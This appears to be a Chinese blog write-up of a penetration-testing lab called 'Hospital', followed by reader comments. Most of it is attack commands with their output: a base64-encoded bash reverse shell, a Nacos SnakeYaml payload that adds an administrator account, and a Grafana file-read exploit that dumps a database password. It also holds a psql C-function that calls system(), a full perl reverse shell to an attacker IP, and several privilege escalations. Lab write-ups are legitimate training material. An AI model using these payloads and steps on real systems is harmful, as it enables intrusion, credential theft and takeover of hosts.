春秋云境-Hospital

考点:

  • Spring boot actuator unauthorized access
  • shiro反序列化RCE
  • vim.basic提权
  • Nacos SnakeYaml反序列化
  • Fastjson
  • Grafana任意文件读漏洞
  • psql

goby扫出来有Spring boot actuator unauthorized access,可以看Springboot之actuator配置不当的漏洞利用怎么利用,发现有heapdump泄露。因为看出来是shiro,然后翻内存,发现账号密码是admin admin123,当然登进去没啥卵用,后面想翻shiro key,直接搜g==结尾的字符串(看别人佬是用的内存分析工具https://github.com/whwlsfb/JDumpSpider,我这个是纯靠的经验)

拿到shiro key:GAYysgMQhG7/CzIJlVpR2g==,直接RCE(https://github.com/SummerSec/ShiroAttack2)

然后用旁边的内存马功能写马连上去,弹shell

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMzYueHh4Lnh4eC85MzgzIDA+JjE=}|{base64,-d}|{bash,-i}'

vim.basic有suid权限,但是必须有tty,也就是交互式shell,最简单的方法就是输入

python -c 'import pty; pty.spawn("/bin/bash")'

其他的利用可以看看实现交互式shell的几种方式,我这里用的是之前后渗透之文件下载(Linux篇)里提到的pwncat实现tty,简直好用的批爆

vim.basic /root/flag/flag01.txt
./fscan -h 172.30.12.5/24 -hn 172.30.12.5

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
(icmp) Target 172.30.12.236   is alive
(icmp) Target 172.30.12.6     is alive
[*] Icmp alive hosts len is: 2
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.6:8848 open
172.30.12.236:8009 open
172.30.12.236:8080 open
172.30.12.6:445 open
[*] alive ports len is: 7
start vulscan
[*] NetBios 172.30.12.6     WORKGROUP\SERVER02
[*] NetInfo
[*]172.30.12.6
   [->]Server02
   [->]172.30.12.6
[*] WebTitle http://172.30.12.6:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass

为了进一步利用,这里直接用vim.basic写公钥获得root权限。

内网的172.30.12.6:8848是Nacos,可以打SnakeYaml,下一个charonlight/NacosExploitGUI,把AwesomeScriptEngineFactory.java里执行的命令改成加个管理员用户

Runtime.getRuntime().exec("net user fushuling qwer1234! /add");
Runtime.getRuntime().exec("net localgroup administrators fushuling /add")

这里还有现成的打包bat,挺好,打包后生成yaml-payload.jar。因为web1已经被写公钥拿到root权限了(不会写公钥的话可以看春秋云境·Spoofing),我们直接当作攻击机,把打包好的jar文件传到tmp目录

然后在tmp目录运行python3 -m http.server 80开启web服务,接着用NacosExploitGUI让nacos服务器去从远程服务器加载恶意的yaml-payload.jar包

成功执行的话就可以用我们添加的账户rdp上去拿flag了

172.30.12.236:8080是打Fastjson反序列化,这里直接用现成的插件amaz1ngday/fastjson-exp,抓登录的请求包,然后选择操作,再选择拓展,无论是send to fastjsonEcho还是send to fastjsonInject插件都能检验出来然后帮你拿shell

不过生成的马连不上,会显示initShellOpertion Fail,因为目标开启了session持久化,并且我们向session存入了不可被反序列化的数据,导致后续使用此session我们无法获取到之前存入的数据,解决办法是把生成的shell中的session替换成application,但他这个请求我没怎么看懂,改不来。但这个插件可以直接在消息请求头那里执行命令然后拿到执行结果,所以也不用连上去

然后我把root密码改了在web1这台机器上ssh到了web3的机器,接着发现是双网卡

Grafana存在CVE-2021-43798,这里有点麻烦的地方在于内网的机器不出网(好像是废话?),但我们可以利用web1,因为之前在web1开了web服务,我们把需要的文件放web1上,在web3上wget web1就能实现文件传输了

./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
2024/01/06 20:36:23 Target vulnerable has plugin [alertlist]
2024/01/06 20:36:23 Got secret_key [SW2YcwTIb9zpOOhoPsMm]
2024/01/06 20:36:23 There is [0] records in db.
2024/01/06 20:36:24 type:[postgres]	name:[PostgreSQL]		url:[localhost:5432]	user:[postgres]	password[Postgres@123]	database:[postgres]	basic_auth_user:[]	basic_auth_password:[]
2024/01/06 20:36:24 All Done, have nice day!

172.30.54.x这个新网段用我们之前在web1上建立的代理是访问不过去,得建立多重代理,可以看看内网代理搭建,我用的Stowaway,挺方便的,还是在我们自己的VPS上,use 0选择node 0后(也就是web1服务器),然后选择listen,再输入1,选择模式,输入1234,选择监听端口

接着把受控端传到web3上,发起对web1的连接

./linux_x64_agent -c 172.30.12.5:1234 -s 123 --reconnect 8

然后我们VPS上会说有新节点加入,这就说明我们的多层代理接入成功了

然后back回admin,再use 1,socks 9384,就可以在9384建立对web3的多层代理,同时也不会影响之前在web1上建立的代理

然后我们用新代理在本地连postgresql

要做的就俩事,第一个事是改root密码,命令是ALTER USER root WITH PASSWORD ‘123456’;

接着是弹shell,类似于无间计划里那个oracle,psql也可以创建函数执行命令,缺点是没回显

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('curl 172.30.54.179');

这时不难想到弹shell,bash之类的弹不了,但能用perl弹,这个我之前也提到过,在后渗透之文件下载那里,既然能执行远程下载文件的代码,当然也能执行弹shell的代码

select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

sudo -l看到有psql命令,先输入python3 -c ‘import pty;pty.spawn(“/bin/bash”)’进入交互式shell,然后输入sudo /usr/local/postgresql/bin/psql进行提权,在这里的root密码就是我们刚刚自己改的123456

然后大致的流程是

root=# \?
Input/Output
!/bin/bash
root@web04:/usr/local/pgsql/data# whoami
root

评论

  1. a14
    5月前
    2024-1-17 2:15:25

    带我走吧狗哥

  2. Victor
    5月前
    2024-2-07 14:18:07

    大佬什么时候打完无间计划,等着看你的writeup呢😭

    • 博主
      Victor
      5月前
      2024-2-07 22:19:32

      还有点没写完,打是打完了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇